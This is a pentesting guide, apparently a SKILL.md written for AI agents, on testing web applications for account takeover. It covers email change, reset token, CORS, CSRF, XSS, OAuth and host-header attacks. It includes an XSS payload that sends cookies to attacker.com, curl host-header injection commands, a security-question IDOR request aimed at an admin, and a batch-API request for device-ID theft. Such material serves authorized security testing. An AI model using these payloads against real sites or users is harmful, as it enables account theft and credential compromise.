Hacktricks-skills account-takeover
How to identify and test for account takeover vulnerabilities in web applications. Use this skill whenever the user mentions account takeover, authentication bypass, password reset attacks, email verification bypass, session hijacking, or any technique to compromise user accounts. This includes testing authorization issues, unicode normalization attacks, reset token reuse, CORS/CSRF/XSS exploitation, cookie manipulation, and OAuth vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/account-takeover/SKILL.MDAccount Takeover Testing
A comprehensive guide for identifying and testing account takeover vulnerabilities in web applications.
Core Attack Vectors
1. Authorization Issues
Email Change Verification
- Attempt to change the email address of any account
- Examine the confirmation process for weaknesses
- If verification is weak, change the email to your controlled address and confirm
Test Steps:
- Intercept the email change request
- Check if confirmation email is required
- Test if confirmation link can be reused or bypassed
- Verify if email change requires password re-authentication
2. Unicode Normalization Attacks
Account Creation via Unicode
- Create an account using Unicode characters that normalize to the victim's email
- Example:
may normalize tovićtim@gmail.comvictim@gmail.com
Third-Party Identity Provider Abuse:
- Create an account in the identity provider with a similar email using Unicode characters
- If the provider doesn't verify email, use it directly
- If verification is required, attack the domain:
victim@ćompany.com - Register the domain and hope the identity provider generates ASCII while the victim platform normalizes
- Login via the identity provider to access the victim account
Test Commands:
# Check unicode normalization behavior echo "vićtim@gmail.com" | iconv -f utf-8 -t ascii//TRANSLIT
3. Reset Token Reuse
Finding Old Reset Links:
- Check if reset links can be reused after expiration
- Use tools to find historical reset links:
(Get All Urls)gau
(Wayback Machine)waybackscan.io
Test Steps:
- Generate a password reset link
- Wait for it to expire
- Attempt to reuse the link
- Check if the system validates token freshness
4. Pre-Account Takeover
Race Condition Attack:
- Use the victim's email to sign up on the platform
- Set a password (attempt confirmation if possible)
- Wait for the victim to sign up using OAuth
- Hope the regular signup gets confirmed, granting access
Test Scenario:
- Create account with victim's email
- Set password without email confirmation
- Monitor if victim's OAuth signup overwrites or conflicts
5. CORS Misconfiguration
Exploitation Path:
- Identify CORS misconfigurations
- Steal sensitive information from authenticated users
- Use stolen data to take over accounts or modify authentication
Test Steps:
- Check
headersAccess-Control-Allow-Origin - Test with
or reflected origins* - Attempt to read sensitive endpoints via CORS
- Extract authentication tokens or session data
6. CSRF to Account Takeover
Attack Vectors:
- Force users to modify their password
- Change email addresses
- Modify authentication settings
Test Steps:
- Identify state-changing endpoints
- Check for CSRF token presence
- Verify token validation
- Create CSRF payloads for account modification
7. XSS to Account Takeover
Cookie and Storage Theft:
- Steal session cookies
- Extract local storage data
- Capture page information for account takeover
Attribute-Only Reflected Payloads:
- Hook
on login pagesdocument.onkeypress - Exfiltrate keystrokes via
new Image().src - Steal credentials without form submission
Example Payload:
<svg/onload="new Image().src='http://attacker.com/log?k='+document.cookie">
8. Same Origin + Cookie Manipulation
Cookie Fixation:
- Find limited XSS or subdomain takeover
- Manipulate cookies to compromise victim accounts
- Fixate session cookies before victim authentication
Test Steps:
- Set a known session cookie
- Force victim to authenticate with that cookie
- Use the cookie to access victim's session
9. Password Reset Mechanism Attacks
Security Question IDOR:
When "update security questions" accepts a
username parameter while authenticated:
- Log in with a low-privilege account
- Capture the session cookie
- Submit victim username with new security answers
- Authenticate via security-question login with injected answers
Example Request:
POST /reset.php HTTP/1.1 Host: target.com Cookie: PHPSESSID=<low-priv-session> Content-Type: application/x-www-form-urlencoded username=admin&new_answer1=A&new_answer2=B&new_answer3=C
Follow-up:
- Access admin dashboards gated by victim's session
- Use enumerated usernames for password spraying on ancillary services
10. Response Manipulation
Boolean Response Attacks:
- Reduce authentication responses to simple booleans
- Change
tofalse
in responsestrue - Test if access is granted
Code and Body Manipulation:
- Alter status code to
200 OK - Modify response body to
or{"success":true}{} - Effective with JSON-based authentication
Test Steps:
- Intercept authentication response
- Modify status code and body
- Check if application trusts modified response
11. OAuth to Account Takeover
Common Vectors:
- OAuth callback manipulation
- State parameter bypass
- Code exchange attacks
- Token leakage through batch APIs
12. Host Header Injection
Password Reset Manipulation:
- Modify
header during password reset initiationHost - Alter
to attacker-controlled domainX-Forwarded-For - Change
,Host
, andReferrer
headers simultaneouslyOrigin - Resend password reset email with modified headers
Test Commands:
# Test host header injection curl -H "Host: attacker.com" https://target.com/reset-password # Test X-Forwarded-For manipulation curl -H "X-Forwarded-For: attacker.com" https://target.com/reset-password
13. Email Change Attacks
One-Click Account Takeover:
- Attacker requests email change to new address
- Attacker receives confirmation link
- Attacker sends link to victim
- Victim clicks link, email changes to attacker's
- Attacker recovers password and takes over account
Bypass Email Verification:
- Login with attacker@test.com and verify email
- Change verified email to victim@test.com (no secondary verification)
- Website now allows victim@test.com to login
- Email verification bypassed
14. Old Cookie Reuse
Session Persistence Attack:
- Login to account and save authenticated cookies
- Logout from the application
- Login again with different credentials
- Old cookies may still work
Test Steps:
- Capture cookies during authenticated session
- Logout and login with different account
- Attempt to use old cookies
- Check if session is still valid
15. Trusted Device Cookies + Batch API
Device Identifier Theft:
When batch APIs allow copying unreadable subresponses to writable sinks:
- Identify trusted-device cookie (SameSite=None, long-lived)
- Find first-party endpoint returning device ID in JSON
- Use batch/chained API to reference subresponses
- Write device ID to attacker-visible sink
Example Batch Request:
POST https://graph.facebook.com/ batch=[ {"method":"post","omit_response_on_success":0,"relative_url":"/oauth/access_token","body":"code=SINGLE_USE_CODE","name":"leaker"}, {"method":"post","relative_url":"PAGE_ID/posts","body":"message={result=leaker:$.machine_id}"} ] access_token=PAGE_ACCESS_TOKEN
Replay Attack:
- Set stolen device cookie in new session
- Recovery treats browser as trusted
- Access weaker recovery flows (no email/phone required)
- Add attacker email without password or 2FA
Testing Checklist
- Test email change verification process
- Check unicode normalization behavior
- Verify reset token expiration and reuse
- Test pre-account takeover race conditions
- Audit CORS configuration
- Check for CSRF vulnerabilities
- Test XSS vectors for cookie theft
- Verify cookie handling and fixation
- Test password reset mechanisms
- Check security question IDOR
- Test response manipulation
- Audit OAuth implementation
- Test host header injection
- Verify email change flows
- Check old cookie reuse
- Test trusted device cookie handling
Tools and Resources
Reconnaissance:
- Get All Urls for finding historical endpointsgau
- Wayback Machine for archived contentwayback
- URL discoveryscan.io
Testing:
- Burp Suite for request interception
- Browser DevTools for cookie manipulation
- Custom scripts for automation